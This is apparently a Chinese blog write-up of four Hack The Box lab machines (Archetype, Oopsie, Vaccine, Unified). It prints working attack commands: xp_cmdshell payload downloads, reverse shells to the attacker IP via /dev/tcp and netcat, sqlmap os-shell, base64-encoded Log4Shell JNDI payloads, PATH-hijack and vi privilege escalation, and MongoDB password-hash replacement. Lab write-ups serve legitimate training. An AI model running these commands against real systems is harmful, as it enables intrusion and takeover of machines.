Hack The Box 2基础(1-4)

Archetype

答案:1433(mssql端口号即sqlserver)

答案:backups(Linux 网络通讯 : smbclient 命令详解_smbclient命令-CSDN博客

smbclient

答案:M3g4c0rp123

唯一一个不需要密码的文件进入get下config

答案:mssqlclient.py

mssqlclient

Impacket 工具包使用_impacket工具包-CSDN博客

find命令查找

可以参考:打点-进入内网(一)_impacket-mssqlclient-CSDN博客

python mssqlclient.py domain/username:password@ip  -windows-auth

python mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.159.172  -windows-auth

答案:xp_cmdshell(命令界面即cmd界面)

xp_cmdshell

help后发现cmdshell

SQL Server提权总结与记录-xp_cmdshell/sp_oacreate/sandbox提权_creating xp_cmdshell with sp_oacreate-CSDN博客

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
返回1说明存在

显示关闭

重启xp_cmdshell

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

成功执行(当然也可以一直使用此种方法搜索,但很慢所以考虑反弹shell)

使用powershell -c pwd可以看到当前目录即powershell语句

单双引号要注意,没有exec要使用双引号

反弹shell下载一个从kali上传的文件的过程主要是找到可以下载的目录下

1、开其http服务

2、开启nc

3、wget下来到downloads路径下

xp_cmdshell "powershell.exe cd C:\Users\sql_svc\Downloads; wget http://10.10.14.67/2.exe -outfile 2.exe"

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.67/2.exe -outfile 2.exe"

xp_cmdshell "powershell.exe wget http://10.10.14.67/2.exe -OutFile c:\\Users\Public\2.exe"

成功下载

执行文件成功反弹shell

xp_cmdshell "powershell.exe cd C:\Users\sql_svc\Downloads; ./2.exe -e cmd.exe 10.10.14.67 9001"

通过查找,第一个flag在桌面使用type进行查看

通过net user可以看到我们现在并不是最高权限

答案:winpeas

winpeas提权

答案:ConsoleHost_history.txt

通过刚刚的路径下载到windows中

https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe

powershell.exe "wget http://10.10.14.67/winPEASx64.exe -outfile winPEASx64.exe"

启动程序.\winPEASx64.exe

扫描出history文件

type查看,有最高权限用户密码

psexec

切换到kali远程登录,使用psexec.py此脚本不需要3389端口,只需要对方开启admin$共享(该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是windows提供的工具,所以杀软会将其添加到白名单中

sudo python psexec.py administrator@10.129.39.133

查找后拿到flag

答案:

答案:

Oopsie

答案:proxy

登录页面

答案:/cdn-cgi/login

提示流量拦截进行操作,返回包有登录接口

答案:cookie

答案:34322

越权

抓包看一眼

点击上传处越权成admin的权限

上传时cookie也要改

答案:/uploads

文件上传反弹shell

自带shell上传更改ip和端口

上传成功后需要找到webshell路径

sudo gobuster dir -u http://10.129.95.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php 指定文件为php

弹了好几次终于成功(建议多开不一定哪一个弹上)

python -c 'import pty; pty.spawn("/bin/bash")'实现交互shell(没有python就不行了)

解决交互shell失败情况:

/bin/sh: python: not found 问题的解决_51CTO博客_#!/usr/bin/env python

python3 -c 'import pty; pty.spawn("/bin/bash")'

进入

在var/www/html/cdn-cgi/db.php

答案:db.php

提权

切换用户

flag:

答案:find

可执行文件更替环境变量调用提权

根据提示搜索bugtracker

find -group bugtracker查找组

在usr/bin/下

答案:root

 需要root权限

答案:Set owner User ID

答案:cat

尝试执行文件

/usr/bin/bugtracker

可以看到cat路径的执行文件当id不符则找不到不执行,并且当执行此文件时有root权限调用的cat命令,root直接调用是调用的cat环境遍历中的cat,则可以构造恶意cat将这个cat设置成环境遍历,使其root通过bugtracker可执行文件进行调用执行恶意cat

进入tmp目录下创建cat可执行文件构造恶意cat代码,赋给权限后将其tmp目录设置为环境变量目录

再次执行bugtracker可执行文件使其用root权限直接调用环境变量中的cat恶意可执行文件

因为cat为恶意文件并且修改了环境变量所以cat并不能查看文件可以使用more或者tac等其他命令

答案:

答案:

Vaccine

答案:ftp

答案:anonymous

答案:backup.zip

答案:zip2john

可参考:使用john爆破压缩文件_rar3hash-CSDN博客

答案:qwerty789

unzip解压

md5加密的密码

md5在线解密破解,md5解密加密 (cmd5.com)

答案:--os-shell(使用os-shell需要绝对路径、root权限、secure_file_pirv无限制)

sqlmap --os-shell 原理详解-CSDN博客

通过题目判断存在sql注入直接插入'

sqlmap(建议渗透时都试一试os-shell)

第一次sqlmap没跑出来什么都没加

发现cookie认证直接f12搜索即可得到cookie

sudo sqlmap -u "http://10.129.95.174/dashboard.php?search=1" --random-agent --batch --os-shell --cookie PHPSESSID=36hrl49v7756qai9p5hebgu8on

成功进入

反弹shell

不嫌弃可以直接使用,嫌弃可以反弹shell设成交互式shell便捷(但一般需要终端所以还是要交互)

bash -c "sh -i >& /dev/tcp/10.10.14.67/9001 0>&1"

成功反弹python3 -c 'import pty; pty.spawn("/bin/bash")'开启交互shell

拿到普通用户flag

进入其html目录/var/www/html可发现php文件cat后发现密码P@s5w0rd!

查看sudo可用权限

【Linux】如何检查Linux用户是否具有sudo权限_linux 判断是否有sudo权限-CSDN博客

答案:vi

vi编辑器提权

sudo -l后发现有vi编辑器的权限那么就用vi编辑器提权,又因为后门有conf文件所以直接向其文件写入 :!/bin/bash ,因为iv是sudo打开的所以拥有root权限

注意:正常进入文件使用vi编辑是不行的,这样并没有调用sudo导致没有root权限

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

输入后直接回车即可

答案:

答案:

Unified

这靶机是真气人自己打的小伙伴做好生气的准备

答案:22,6789,8080,8443

答案:UniFi Network

答案:6.4.54

访问url https://10.129.80.92:8443/manage/account/login?redirect=%2Fmanage

需要https协议

答案:CVE-2021-44228

cve-2021-44228 log4j

Unifi Log4jshell漏洞利用-腾讯云开发者社区-腾讯云 (tencent.com)

搜索与其相关的漏洞

msf也可以搜索出来

答案:ldap

答案:389

sudo tcpdump -i tun0 port 389

在389端口(LDAP)上开启tcpdump,来监听LDAP的网络流量

"${jndi:ldap://10.10.14.67/whatever}"

答案:tcpdump

靶机的58108端口成功给tun0的ldap发送了信息

maven安装

安装好JDK和MAVEN,需要用到Index of /dist/maven/maven-3/3.6.3/binaries (apache.org)

踩坑 - Kali下安装配置maven,完美解决!_kali提示mvn不可用-CSDN博客

第一个脚本

失败,弹不了shell,有的人可以弹我的是弹不了

脚本使用方法:

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]

需要先将shell的语句base64编码

echo 'sh -i >& /dev/tcp/10.10.14.67/9001 0>&1' | base64

sudo java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjcvOTAwMSAwPiYxCg==}|{base64,-d}|{bash,-i}" -A "10.10.14.67"

这里选择rmi://10.10.14.67:1099/cqiofg重放后

第二个脚本

参考:Hack The Box Starting Point 渗透测试入门靶场 TIER 2 - Unified_hackthebox unified-CSDN博客

git clone https://github.com/veracode-research/rogue-jndi

cd rogue-jndi
mvn package

搞了26分钟

还是用上述的shell,在target中有RogueJndi-1.1.jar

java -jar RogueJndi-1.1.jar --command "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjcvOTAwMSAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.67"

开启监听

使用:ldap://10.10.14.67:1389/o=tomcat

成功弹入

开启交互shell实现交互式shell的几种方式 - SAUCERMAN (saucer-man.com)

python交互式无用,因为无python环境

$ script /dev/null -c bash

经过查找找到用户的flag

提权

题目提示MongoDB,unifi通常使用mongodb作为数据库

答案:27117

查看端口号ps -aux | grep mongodb

答案:ace

使用mongodb提权,与其交互,UniFi默认数据库一般为ace

答案:db.admin.find()

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

来获取管理员账号密码,密码为hash(sha-512加密)也可以使用命令hashid判断

$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.

破解不了考虑将其替换,替换其hash密码

mkpasswd工具

mkpasswd -m sha-512 unified

$6$ZIrPZuXKiYSRKzzq$dnI7U2bZAa3DOW2WvpTS04y1CcX0zdeOfqJ7e5yp/xtxYT.ZTwIjZcpAh1oj4feB8Y8Gva8NE8gGM.GQc2jC00

答案:db.admin.update()

替换

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$ZIrPZuXKiYSRKzzq$dnI7U2bZAa3DOW2WvpTS04y1CcX0zdeOfqJ7e5yp/xtxYT.ZTwIjZcpAh1oj4feB8Y8Gva8NE8gGM.GQc2jC00"}})'

检查一遍与之前是否相同是否更替自己设置的密码

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

已经替换成功 密码为unified

登录后台即可administrator/unified

答案:NotACrackablePassword4U2022

进入后选择设置site发现root账号密码NotACrackablePassword4U2022

ssh进入

拿到root的flag

答案:

答案:

  • 28
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值